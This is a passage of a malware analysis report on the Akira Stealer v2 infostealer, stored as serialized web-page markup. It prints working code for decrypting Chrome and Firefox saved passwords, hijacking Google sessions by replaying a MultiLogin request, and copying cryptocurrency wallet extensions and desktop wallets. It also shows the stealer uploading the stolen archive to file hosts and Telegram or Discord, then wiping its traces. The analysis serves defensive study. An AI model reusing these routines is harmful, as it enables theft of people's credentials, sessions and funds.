tag)\n",[806,12658,12659,12660,2491],{},"If fallback to DPAPI is needed (on older systems), it uses ",[1546,12661,12662],{},"win32crypt.CryptUnprotectData()",[806,12664,12665,12671],{},[1732,12666,12667,12668,3029],{},"Explanation of ",[1546,12669,12670],{},"decrypt_password_blob","\nThis function demonstrates how Akira Stealer decrypts each saved password value from Chromium-based browsers. It handles two cases:",[4349,12673,12674,12684],{},[2736,12675,12676,12679,12680,12683],{},[1732,12677,12678],{},"Windows DPAPI blobs"," (older or non-GCM encrypted data): Falls back to the system call ",[1546,12681,12682],{},"CryptUnprotectData",", which uses the user’s Windows credentials to decrypt.",[2736,12685,12686,12689,12690,12693],{},[1732,12687,12688],{},"AES-GCM encrypted blobs"," (Chrome v10/v11 format): Parses the version header, extracts the IV and authentication tag, and uses the ",[1546,12691,12692],{},"cryptography"," library to decrypt the payload securely.",[1540,12695,12697],{"className":10008,"code":12696,"language":10010,"meta":863,"style":863},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\n\n\ndef decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n    \"\"\"\n    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n\n    Parameters:\n    - buffer: raw encrypted blob from the `password_value` field\n    - key: the master AES key retrieved via DPAPI from Local State\n\n    Returns:\n    - Decrypted UTF-8 plaintext password\n    \"\"\"\n    # 1) DPAPI fallback for non-AES-GCM blobs\n    if not buffer.startswith((b'v10', b'v11')):\n        # Uses Windows CryptUnprotectData under the hood\n        return CryptUnprotectData(buffer)\n\n    # 2) AES-GCM decryption for Chrome v10/v11 format:\n    # Bytes layout:\n    # [0:3]    = version header ('v10'/'v11')\n    # [3:15]   = initialization vector (IV)\n    # [15:-16] = ciphertext payload\n    # [-16:]   = GCM authentication tag\n    iv = buffer[3:15]\n    ciphertext = buffer[15:-16]\n    tag = buffer[-16:]\n\n    # Initialize AES-GCM cipher with extracted IV and tag\n    cipher = Cipher(\n        algorithms.AES(key),\n        modes.GCM(iv, tag),\n        backend=default_backend()\n    )\n    decryptor = cipher.decryptor()\n\n    # Perform decryption; raises if authentication fails\n    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n\n    # Decode to UTF-8, ignoring any stray errors\n    return plaintext.decode('utf-8', errors='ignore')\n",[1546,12698,12699,12704,12709,12713,12717,12722,12726,12731,12735,12740,12745,12750,12754,12759,12764,12768,12773,12778,12783,12788,12792,12797,12802,12807,12812,12817,12822,12827,12832,12837,12841,12846,12851,12856,12861,12866,12870,12875,12879,12884,12889,12893,12898],{"__ignoreMap":863},[1584,12700,12701],{"class":1586,"line":1587},[1584,12702,12703],{},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n",[1584,12705,12706],{"class":1586,"line":864},[1584,12707,12708],{},"from cryptography.hazmat.backends import default_backend\n",[1584,12710,12711],{"class":1586,"line":1810},[1584,12712,9372],{"emptyLinePlaceholder":508},[1584,12714,12715],{"class":1586,"line":1827},[1584,12716,9372],{"emptyLinePlaceholder":508},[1584,12718,12719],{"class":1586,"line":2131},[1584,12720,12721],{},"def decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n",[1584,12723,12724],{"class":1586,"line":2137},[1584,12725,11351],{},[1584,12727,12728],{"class":1586,"line":2143},[1584,12729,12730],{},"    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n",[1584,12732,12733],{"class":1586,"line":2149},[1584,12734,9372],{"emptyLinePlaceholder":508},[1584,12736,12737],{"class":1586,"line":2155},[1584,12738,12739],{},"    Parameters:\n",[1584,12741,12742],{"class":1586,"line":2161},[1584,12743,12744],{},"    - buffer: raw encrypted blob from the `password_value` field\n",[1584,12746,12747],{"class":1586,"line":10546},[1584,12748,12749],{},"    - key: the master AES key retrieved via DPAPI from Local State\n",[1584,12751,12752],{"class":1586,"line":10552},[1584,12753,9372],{"emptyLinePlaceholder":508},[1584,12755,12756],{"class":1586,"line":10558},[1584,12757,12758],{},"    Returns:\n",[1584,12760,12761],{"class":1586,"line":10564},[1584,12762,12763],{},"    - Decrypted UTF-8 plaintext password\n",[1584,12765,12766],{"class":1586,"line":10570},[1584,12767,11351],{},[1584,12769,12770],{"class":1586,"line":10576},[1584,12771,12772],{},"    # 1) DPAPI fallback for non-AES-GCM blobs\n",[1584,12774,12775],{"class":1586,"line":10582},[1584,12776,12777],{},"    if not buffer.startswith((b'v10', b'v11')):\n",[1584,12779,12780],{"class":1586,"line":10588},[1584,12781,12782],{},"        # Uses Windows CryptUnprotectData under the hood\n",[1584,12784,12785],{"class":1586,"line":10594},[1584,12786,12787],{},"        return CryptUnprotectData(buffer)\n",[1584,12789,12790],{"class":1586,"line":10600},[1584,12791,9372],{"emptyLinePlaceholder":508},[1584,12793,12794],{"class":1586,"line":10606},[1584,12795,12796],{},"    # 2) AES-GCM decryption for Chrome v10/v11 format:\n",[1584,12798,12799],{"class":1586,"line":10612},[1584,12800,12801],{},"    # Bytes layout:\n",[1584,12803,12804],{"class":1586,"line":10618},[1584,12805,12806],{},"    # [0:3]    = version header ('v10'/'v11')\n",[1584,12808,12809],{"class":1586,"line":10624},[1584,12810,12811],{},"    # [3:15]   = initialization vector (IV)\n",[1584,12813,12814],{"class":1586,"line":10630},[1584,12815,12816],{},"    # [15:-16] = ciphertext payload\n",[1584,12818,12819],{"class":1586,"line":11297},[1584,12820,12821],{},"    # [-16:]   = GCM authentication tag\n",[1584,12823,12824],{"class":1586,"line":11302},[1584,12825,12826],{},"    iv = buffer[3:15]\n",[1584,12828,12829],{"class":1586,"line":11307},[1584,12830,12831],{},"    ciphertext = buffer[15:-16]\n",[1584,12833,12834],{"class":1586,"line":11312},[1584,12835,12836],{},"    tag = buffer[-16:]\n",[1584,12838,12839],{"class":1586,"line":11318},[1584,12840,9372],{"emptyLinePlaceholder":508},[1584,12842,12843],{"class":1586,"line":11323},[1584,12844,12845],{},"    # Initialize AES-GCM cipher with extracted IV and tag\n",[1584,12847,12848],{"class":1586,"line":11328},[1584,12849,12850],{},"    cipher = Cipher(\n",[1584,12852,12853],{"class":1586,"line":11333},[1584,12854,12855],{},"        algorithms.AES(key),\n",[1584,12857,12858],{"class":1586,"line":11338},[1584,12859,12860],{},"        modes.GCM(iv, tag),\n",[1584,12862,12863],{"class":1586,"line":11343},[1584,12864,12865],{},"        backend=default_backend()\n",[1584,12867,12868],{"class":1586,"line":11348},[1584,12869,11477],{},[1584,12871,12872],{"class":1586,"line":11354},[1584,12873,12874],{},"    decryptor = cipher.decryptor()\n",[1584,12876,12877],{"class":1586,"line":11360},[1584,12878,9372],{"emptyLinePlaceholder":508},[1584,12880,12881],{"class":1586,"line":11366},[1584,12882,12883],{},"    # Perform decryption; raises if authentication fails\n",[1584,12885,12886],{"class":1586,"line":11371},[1584,12887,12888],{},"    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n",[1584,12890,12891],{"class":1586,"line":11376},[1584,12892,9372],{"emptyLinePlaceholder":508},[1584,12894,12895],{"class":1586,"line":11381},[1584,12896,12897],{},"    # Decode to UTF-8, ignoring any stray errors\n",[1584,12899,12900],{"class":1586,"line":11386},[1584,12901,12902],{},"    return plaintext.decode('utf-8', errors='ignore')\n",[810,12904,12906],{"id":12905},"_76-session-token-hijacking","7.6 Session Token Hijacking",[806,12908,1531],{},[806,12910,12911,12912,12915],{},"Akira doesn’t stop at passive data collection—it actively hijacks live session tokens to impersonate victims in real time. After extracting encrypted tokens from browser storage, it reconstructs the required authorization header and replays a ",[1732,12913,12914],{},"MultiLogin"," request against Google’s OAuth endpoint. The code snippet below illustrates this process:",[1540,12917,12919],{"className":10008,"code":12918,"language":10010,"meta":863,"style":863},"# Build SAPISIDHASH header for Google services\norigin = \"https://accounts.google.com\"\ntimestamp = int(time.time())\n# Compute SHA1 of \"timestamp origin SAPISID\"\npayload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\nsignature = hashlib.sha1(payload).hexdigest()\nheaders = {\n    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n    \"Content-Type\": \"application/json\"\n}\n# Replay MultiLogin to fetch valid session cookies\nresponse = requests.post(\n    \"https://accounts.google.com/accounts/multilogin\",\n    headers=headers,\n    json={\"continue\": \"https://mail.google.com\"}\n)\nif response.status_code == 200:\n    # Victim’s cookies now present in response.cookies\n    hijacked_cookies = response.cookies\n",[1546,12920,12921,12926,12931,12936,12941,12946,12951,12956,12961,12966,12970,12975,12980,12985,12990,12995,12999,13004,13009],{"__ignoreMap":863},[1584,12922,12923],{"class":1586,"line":1587},[1584,12924,12925],{},"# Build SAPISIDHASH header for Google services\n",[1584,12927,12928],{"class":1586,"line":864},[1584,12929,12930],{},"origin = \"https://accounts.google.com\"\n",[1584,12932,12933],{"class":1586,"line":1810},[1584,12934,12935],{},"timestamp = int(time.time())\n",[1584,12937,12938],{"class":1586,"line":1827},[1584,12939,12940],{},"# Compute SHA1 of \"timestamp origin SAPISID\"\n",[1584,12942,12943],{"class":1586,"line":2131},[1584,12944,12945],{},"payload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\n",[1584,12947,12948],{"class":1586,"line":2137},[1584,12949,12950],{},"signature = hashlib.sha1(payload).hexdigest()\n",[1584,12952,12953],{"class":1586,"line":2143},[1584,12954,12955],{},"headers = {\n",[1584,12957,12958],{"class":1586,"line":2149},[1584,12959,12960],{},"    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n",[1584,12962,12963],{"class":1586,"line":2155},[1584,12964,12965],{},"    \"Content-Type\": \"application/json\"\n",[1584,12967,12968],{"class":1586,"line":2161},[1584,12969,7938],{},[1584,12971,12972],{"class":1586,"line":10546},[1584,12973,12974],{},"# Replay MultiLogin to fetch valid session cookies\n",[1584,12976,12977],{"class":1586,"line":10552},[1584,12978,12979],{},"response = requests.post(\n",[1584,12981,12982],{"class":1586,"line":10558},[1584,12983,12984],{},"    \"https://accounts.google.com/accounts/multilogin\",\n",[1584,12986,12987],{"class":1586,"line":10564},[1584,12988,12989],{},"    headers=headers,\n",[1584,12991,12992],{"class":1586,"line":10570},[1584,12993,12994],{},"    json={\"continue\": \"https://mail.google.com\"}\n",[1584,12996,12997],{"class":1586,"line":10576},[1584,12998,10765],{},[1584,13000,13001],{"class":1586,"line":10582},[1584,13002,13003],{},"if response.status_code == 200:\n",[1584,13005,13006],{"class":1586,"line":10588},[1584,13007,13008],{},"    # Victim’s cookies now present in response.cookies\n",[1584,13010,13011],{"class":1586,"line":10594},[1584,13012,13013],{},"    hijacked_cookies = response.cookies\n",[806,13015,13016],{},"By replaying this request, Akira can impersonate the user’s Gmail, Drive, or any other Google service protected by a valid session—no credentials required. This technique leverages Google’s own token acceptance logic, making it nearly indistinguishable from legitimate client behavior.",[810,13018,13020],{"id":13019},"_77-firefox-decryption","7.7 Firefox Decryption",[806,13022,1531],{},[806,13024,13025,13026,13029],{},"Gecko‑based browsers like Firefox encrypt saved credentials and cookies using a master key stored in ",[1546,13027,13028],{},"key4.db",". Akira includes a stripped‑down decryption routine mirroring Mozilla’s NSS logic, handling both 3DES and AES‑CBC variants without triggering the master password prompt. Example usage:",[1540,13031,13033],{"className":10008,"code":13032,"language":10010,"meta":863,"style":863},"# Load global Salt and encrypted item from key4.db\ndb = sqlite3.connect(profile_path + \"/key4.db\")\ncursor = db.cursor()\ncursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\nglobal_salt, item2 = cursor.fetchone()\n\n# Decode DER structure and derive key\ndecoded, _ = der_decode(item2)\nentry_salt = decoded[0][1][0].asOctets()\ncipher_text = decoded[1].asOctets()\n# Derive 3DES key\nkey = derive_3des_key(global_salt, master_password, entry_salt)\niv = decoded[0][1][1].asOctets()\n# Decrypt credentials\ncipher = DES3.new(key, DES3.MODE_CBC, iv)\nclear_password = unpad(cipher.decrypt(cipher_text))\n\nprint(\"Decrypted Firefox password:\", clear_password)\n",[1546,13034,13035,13040,13045,13050,13055,13060,13064,13069,13074,13079,13084,13089,13094,13099,13104,13109,13114,13118],{"__ignoreMap":863},[1584,13036,13037],{"class":1586,"line":1587},[1584,13038,13039],{},"# Load global Salt and encrypted item from key4.db\n",[1584,13041,13042],{"class":1586,"line":864},[1584,13043,13044],{},"db = sqlite3.connect(profile_path + \"/key4.db\")\n",[1584,13046,13047],{"class":1586,"line":1810},[1584,13048,13049],{},"cursor = db.cursor()\n",[1584,13051,13052],{"class":1586,"line":1827},[1584,13053,13054],{},"cursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\n",[1584,13056,13057],{"class":1586,"line":2131},[1584,13058,13059],{},"global_salt, item2 = cursor.fetchone()\n",[1584,13061,13062],{"class":1586,"line":2137},[1584,13063,9372],{"emptyLinePlaceholder":508},[1584,13065,13066],{"class":1586,"line":2143},[1584,13067,13068],{},"# Decode DER structure and derive key\n",[1584,13070,13071],{"class":1586,"line":2149},[1584,13072,13073],{},"decoded, _ = der_decode(item2)\n",[1584,13075,13076],{"class":1586,"line":2155},[1584,13077,13078],{},"entry_salt = decoded[0][1][0].asOctets()\n",[1584,13080,13081],{"class":1586,"line":2161},[1584,13082,13083],{},"cipher_text = decoded[1].asOctets()\n",[1584,13085,13086],{"class":1586,"line":10546},[1584,13087,13088],{},"# Derive 3DES key\n",[1584,13090,13091],{"class":1586,"line":10552},[1584,13092,13093],{},"key = derive_3des_key(global_salt, master_password, entry_salt)\n",[1584,13095,13096],{"class":1586,"line":10558},[1584,13097,13098],{},"iv = decoded[0][1][1].asOctets()\n",[1584,13100,13101],{"class":1586,"line":10564},[1584,13102,13103],{},"# Decrypt credentials\n",[1584,13105,13106],{"class":1586,"line":10570},[1584,13107,13108],{},"cipher = DES3.new(key, DES3.MODE_CBC, iv)\n",[1584,13110,13111],{"class":1586,"line":10576},[1584,13112,13113],{},"clear_password = unpad(cipher.decrypt(cipher_text))\n",[1584,13115,13116],{"class":1586,"line":10582},[1584,13117,9372],{"emptyLinePlaceholder":508},[1584,13119,13120],{"class":1586,"line":10588},[1584,13121,13122],{},"print(\"Decrypted Firefox password:\", clear_password)\n",[806,13124,13125,13126,2285,13128,7718,13130,13132],{},"With this routine, Akira can transparently dump ",[1546,13127,12524],{},[1546,13129,12527],{},[1546,13131,12530],{}," for each Firefox profile, writing the decrypted output to:",[1540,13134,13137],{"className":13135,"code":13136,"language":917},[1543],"Passwords/Firefox_\u003CProfileName> Passwords.txt\nCookies/Firefox_\u003CProfileName> Cookies.txt\nHistory/Firefox_\u003CProfileName> History.txt\n",[1546,13138,13136],{"__ignoreMap":863},[806,13140,13141],{},"This approach sidesteps user-level master password checks, giving the stealer unfettered access to all stored credentials.*",[806,13143,13144],{},[1732,13145,13146],{},"4. File Structure & Naming",[1540,13148,13151],{"className":13149,"code":13150,"language":917,"meta":863},[1543],"\u003CComputerName>.zip\n└── \u003CComputerName>\\\n    ├── Passwords\\\n    │   ├── Chrome Passwords.txt\n    │   ├── Edge Passwords.txt\n    │   └── …\n    ├── Cookies\\\n    │   ├── Chrome Cookies.txt\n    │   ├── Edge Cookies.txt\n    │   ├── user@example.com Google Session.txt\n    │   └── …\n    ├── CreditCards\\\n    │   ├── Chrome CreditCards.txt\n    │   └── …\n    ├── History\\\n    │   ├── Chrome History.txt\n    │   └── …\n    ├── Autofill\\\n    │   ├── Chrome Autofill.txt\n    │   └── …\n    └── Wallets\\\n        ├── Firefox_Default_profiles.zip\n        ├── Firefox_Profile1_profiles.zip\n        └── …\n",[1546,13152,13150],{"__ignoreMap":863},[2733,13154,13155,13169,13175],{},[2736,13156,13157,13158,13161,13162,13165,13166,7580],{},"Each ",[1546,13159,13160],{},".txt"," begins with a consistent header (",[1546,13163,13164],{},"\u003C================[Akira Stealer v2]>================>",") and separator line (",[1546,13167,13168],{},"====…====",[2736,13170,13171,13172,2491],{},"On‑disk ZIP: ",[1546,13173,13174],{},"%TEMP%\\\u003CComputerName>.zip",[2736,13176,13177,13178,2491],{},"C&C filename label: ",[1546,13179,13180],{},"Akira-\u003Cusername>.zip",[806,13182,13183],{},[1732,13184,13185],{},"5. Exfiltration & Cleanup",[1540,13187,13189],{"className":10008,"code":13188,"language":10010,"meta":863,"style":863},"url = Webhook.uploadToGofile(zip_path)\nif not url:\n    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\nWebhook.sendDataTG(zip_path, chatId, startup)\nUtils.clear_client_folder()\n",[1546,13190,13191,13196,13201,13206,13211],{"__ignoreMap":863},[1584,13192,13193],{"class":1586,"line":1587},[1584,13194,13195],{},"url = Webhook.uploadToGofile(zip_path)\n",[1584,13197,13198],{"class":1586,"line":864},[1584,13199,13200],{},"if not url:\n",[1584,13202,13203],{"class":1586,"line":1810},[1584,13204,13205],{},"    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1584,13207,13208],{"class":1586,"line":1827},[1584,13209,13210],{},"Webhook.sendDataTG(zip_path, chatId, startup)\n",[1584,13212,13213],{"class":1586,"line":2131},[1584,13214,13215],{},"Utils.clear_client_folder()\n",[2733,13217,13218,13228,13242,13259],{},[2736,13219,13220,13223,13224,13227],{},[1732,13221,13222],{},"Primary Channel (GoFile.io):"," The malware first attempts to upload the ZIP archive containing all stolen artifacts to GoFile.io, parsing the JSON response for a ",[1546,13225,13226],{},"downloadPage"," URL that grants the attacker direct access to the archive.",[2736,13229,13230,13233,13234,13237,13238,13241],{},[1732,13231,13232],{},"Automatic Fallbacks:"," Should the GoFile endpoint fail (network timeout, rate limit, etc.), the code seamlessly falls back to ",[1546,13235,13236],{},"file.io",", and if that too returns an empty link, finally to ",[1546,13239,13240],{},"oshi.at",". Both alternatives are invoked without raising exceptions, ensuring that one of the three services will always be tried in succession.",[2736,13243,13244,13247,13248,13251,13252,2285,13255,13258],{},[1732,13245,13246],{},"Webhook Reporting:"," Once a URL (or an empty string on persistent failure) is determined, ",[1546,13249,13250],{},"Webhook.sendDataTG(...)"," is called, packaging together the download link, machine identifiers (",[1546,13253,13254],{},"chatId",[1546,13256,13257],{},"startup"," flag) and all category counts (passwords, cookies, autofills, wallets) into a single Discord or Telegram message.",[2736,13260,13261,13264,13265,13268],{},[1732,13262,13263],{},"Immediate Cleanup:"," After reporting, ",[1546,13266,13267],{},"Utils.clear_client_folder()"," recursively deletes the entire temporary workspace and the ZIP file itself, leaving no trace of the harvested data or the archive on disk.",[3589,13270,13271,13276],{},[806,13272,13273],{},[1732,13274,13275],{},"Failure Resilience:",[2733,13277,13278,13285],{},[2736,13279,13280,13281,13284],{},"All upload routines return ",[1546,13282,13283],{},"\"\""," on failure instead of throwing, guaranteeing the code flow continues.",[2736,13286,13287],{},"Even if every service is unreachable, the malware still transmits a webhook report (albeit with a missing link) before erasing local artifacts, minimizing forensic remnants unless the process crashes unexpectedly.",[1536,13289],{"className":13290},[6385,6386],[806,13292,13293],{},[1732,13294,13295],{},"6. Robustness & Error Handling",[2733,13297,13298,13316,13322,13331],{},[2736,13299,13300,13303,13304,13307,13308,13311,13312,13315],{},[1732,13301,13302],{},"Granular Exception Handling:"," Every file system interaction—be it ",[1546,13305,13306],{},"shutil.copy",", SQLite queries, or ZIP operations—is wrapped in ",[1546,13309,13310],{},"try/except"," blocks. When an error occurs (locked DB, permission denied, malformed record), the exception is caught and logged via ",[1546,13313,13314],{},"Akira.logErrorTg()",", and execution continues, isolating the failure to that specific file or module.",[2736,13317,13318,13321],{},[1732,13319,13320],{},"Threaded Isolation per Browser:"," The extraction routines for each supported browser run in their own thread. This multi-threaded design ensures that a crash or deadlock in one browser’s extraction (e.g., corrupt profile, missing key) does not halt or delay the analysis of other browsers.",[2736,13323,13324,13327,13328,13330],{},[1732,13325,13326],{},"Silent Fallbacks & Defaults:"," Many auxiliary routines, such as uploading to alternate file hosts, checking remote resources, or spawning subprocesses, employ nested ",[1546,13329,13310],{}," without surface-level alerts—maximizing stealth. Default values (empty strings, booleans) are chosen to keep the flow uninterrupted and remove obvious error conditions.",[2736,13332,13333,13336,13337,13340,13341,13344],{},[1732,13334,13335],{},"Mutex & Startup Guards:"," A named mutex (",[1546,13338,13339],{},"1qsMlseJplTlArIF14f",") prevents multiple instances, while registry checks and ",[1546,13342,13343],{},"Utils.CreateMutex()"," protect against concurrent runs, providing additional stability during real-world deployment.",[810,13346,13348],{"id":13347},"_78-wallet-and-token-exfiltration","7.8 Wallet and Token Exfiltration",[806,13350,1531],{},[806,13352,13353],{},"In this phase, Akira Stealer v2 performs the most comprehensive sweep for cryptocurrency credentials and session tokens, spanning browser extensions, desktop wallets, messaging tokens, and live keylogging. It executes in parallel threads, ensuring no vector is missed. Below is a step-by-step, code-backed deep dive.",[1667,13355,13357],{"id":13356},"_781-browser-extension-wallets","7.8.1 Browser Extension Wallets",[806,13359,1673],{},[806,13361,13362,13365],{},[1732,13363,13364],{},"Targets:"," Over 80 extensions across popular browsers, including MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman, and more.",[1540,13367,13369],{"className":10008,"code":13368,"language":10010,"meta":863,"style":863},"# Hardcoded list of extension IDs and human-friendly names\nwalletsExtensions = [\n    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n    # ... plus dozens more mapped in code\n]\n# Extraction loop for each browser profile\nfor browser_name, (user_data, proc_name) in paths.items():\n    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n    for ext_name, ext_id in walletsExtensions:\n        src = os.path.join(base, ext_id)\n        if os.path.isdir(src):\n            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n            shutil.copytree(src, dest, dirs_exist_ok=True)\n            data.ext_wallets_count += 1\n",[1546,13370,13371,13376,13381,13386,13391,13396,13401,13406,13411,13416,13421,13426,13431,13436,13441,13446,13451,13456,13461,13466,13471,13476,13481],{"__ignoreMap":863},[1584,13372,13373],{"class":1586,"line":1587},[1584,13374,13375],{},"# Hardcoded list of extension IDs and human-friendly names\n",[1584,13377,13378],{"class":1586,"line":864},[1584,13379,13380],{},"walletsExtensions = [\n",[1584,13382,13383],{"class":1586,"line":1810},[1584,13384,13385],{},"    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n",[1584,13387,13388],{"class":1586,"line":1827},[1584,13389,13390],{},"    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n",[1584,13392,13393],{"class":1586,"line":2131},[1584,13394,13395],{},"    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n",[1584,13397,13398],{"class":1586,"line":2137},[1584,13399,13400],{},"    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n",[1584,13402,13403],{"class":1586,"line":2143},[1584,13404,13405],{},"    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n",[1584,13407,13408],{"class":1586,"line":2149},[1584,13409,13410],{},"    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n",[1584,13412,13413],{"class":1586,"line":2155},[1584,13414,13415],{},"    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n",[1584,13417,13418],{"class":1586,"line":2161},[1584,13419,13420],{},"    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n",[1584,13422,13423],{"class":1586,"line":10546},[1584,13424,13425],{},"    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n",[1584,13427,13428],{"class":1586,"line":10552},[1584,13429,13430],{},"    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n",[1584,13432,13433],{"class":1586,"line":10558},[1584,13434,13435],{},"    # ... plus dozens more mapped in code\n",[1584,13437,13438],{"class":1586,"line":10564},[1584,13439,13440],{},"]\n",[1584,13442,13443],{"class":1586,"line":10570},[1584,13444,13445],{},"# Extraction loop for each browser profile\n",[1584,13447,13448],{"class":1586,"line":10576},[1584,13449,13450],{},"for browser_name, (user_data, proc_name) in paths.items():\n",[1584,13452,13453],{"class":1586,"line":10582},[1584,13454,13455],{},"    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n",[1584,13457,13458],{"class":1586,"line":10588},[1584,13459,13460],{},"    for ext_name, ext_id in walletsExtensions:\n",[1584,13462,13463],{"class":1586,"line":10594},[1584,13464,13465],{},"        src = os.path.join(base, ext_id)\n",[1584,13467,13468],{"class":1586,"line":10600},[1584,13469,13470],{},"        if os.path.isdir(src):\n",[1584,13472,13473],{"class":1586,"line":10606},[1584,13474,13475],{},"            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n",[1584,13477,13478],{"class":1586,"line":10612},[1584,13479,13480],{},"            shutil.copytree(src, dest, dirs_exist_ok=True)\n",[1584,13482,13483],{"class":1586,"line":10618},[1584,13484,13485],{},"            data.ext_wallets_count += 1\n",[2733,13487,13488,13494],{},[2736,13489,13490,13493],{},[1732,13491,13492],{},"Files copied",": Extension-specific IndexedDB, LevelDB, JSON and config files containing encrypted keys, seed phrases, login credentials.",[2736,13495,13496,2540,13499,2285,13502,9411],{},[1732,13497,13498],{},"Outcome folder",[1546,13500,13501],{},"Wallets/MetaMask_Chrome/",[1546,13503,13504],{},"Wallets/Phantom_Edge/",[1667,13506,13508],{"id":13507},"_782-desktop-wallet-applications","7.8.2 Desktop Wallet Applications",[806,13510,1673],{},[806,13512,13513,13515],{},[1732,13514,13364],{}," Major desktop clients such as Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi, etc.",[1540,13517,13519],{"className":10008,"code":13518,"language":10010,"meta":863,"style":863},"walletsDesktop = [\n    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n]\nfor name, path in walletsDesktop:\n    if os.path.isdir(path):\n        Utils.TaskKill(name.lower())\n        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n        shutil.copytree(path, dest, dirs_exist_ok=True)\n        data.desktop_wallets_count += 1\n",[1546,13520,13521,13526,13531,13536,13541,13546,13551,13556,13560,13565,13570,13575,13580,13585],{"__ignoreMap":863},[1584,13522,13523],{"class":1586,"line":1587},[1584,13524,13525],{},"walletsDesktop = [\n",[1584,13527,13528],{"class":1586,"line":864},[1584,13529,13530],{},"    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n",[1584,13532,13533],{"class":1586,"line":1810},[1584,13534,13535],{},"    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n",[1584,13537,13538],{"class":1586,"line":1827},[1584,13539,13540],{},"    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n",[1584,13542,13543],{"class":1586,"line":2131},[1584,13544,13545],{},"    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n",[1584,13547,13548],{"class":1586,"line":2137},[1584,13549,13550],{},"    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n",[1584,13552,13553],{"class":1586,"line":2143},[1584,13554,13555],{},"    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n",[1584,13557,13558],{"class":1586,"line":2149},[1584,13559,13440],{},[1584,13561,13562],{"class":1586,"line":2155},[1584,13563,13564],{},"for name, path in walletsDesktop:\n",[1584,13566,13567],{"class":1586,"line":2161},[1584,13568,13569],{},"    if os.path.isdir(path):\n",[1584,13571,13572],{"class":1586,"line":10546},[1584,13573,13574],{},"        Utils.TaskKill(name.lower())\n",[1584,13576,13577],{"class":1586,"line":10552},[1584,13578,13579],{},"        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n",[1584,13581,13582],{"class":1586,"line":10558},[1584,13583,13584],{},"        shutil.copytree(path, dest, dirs_exist_ok=True)\n",[1584,13586,13587],{"class":1586,"line":10564},[1584,13588,13589],{},"        data.desktop_wallets_count += 1\n",[2733,13591,13592,13605],{},[2736,13593,13594,13597,13598,2285,13601,13604],{},[1732,13595,13596],{},"Data stolen",": Keystore files 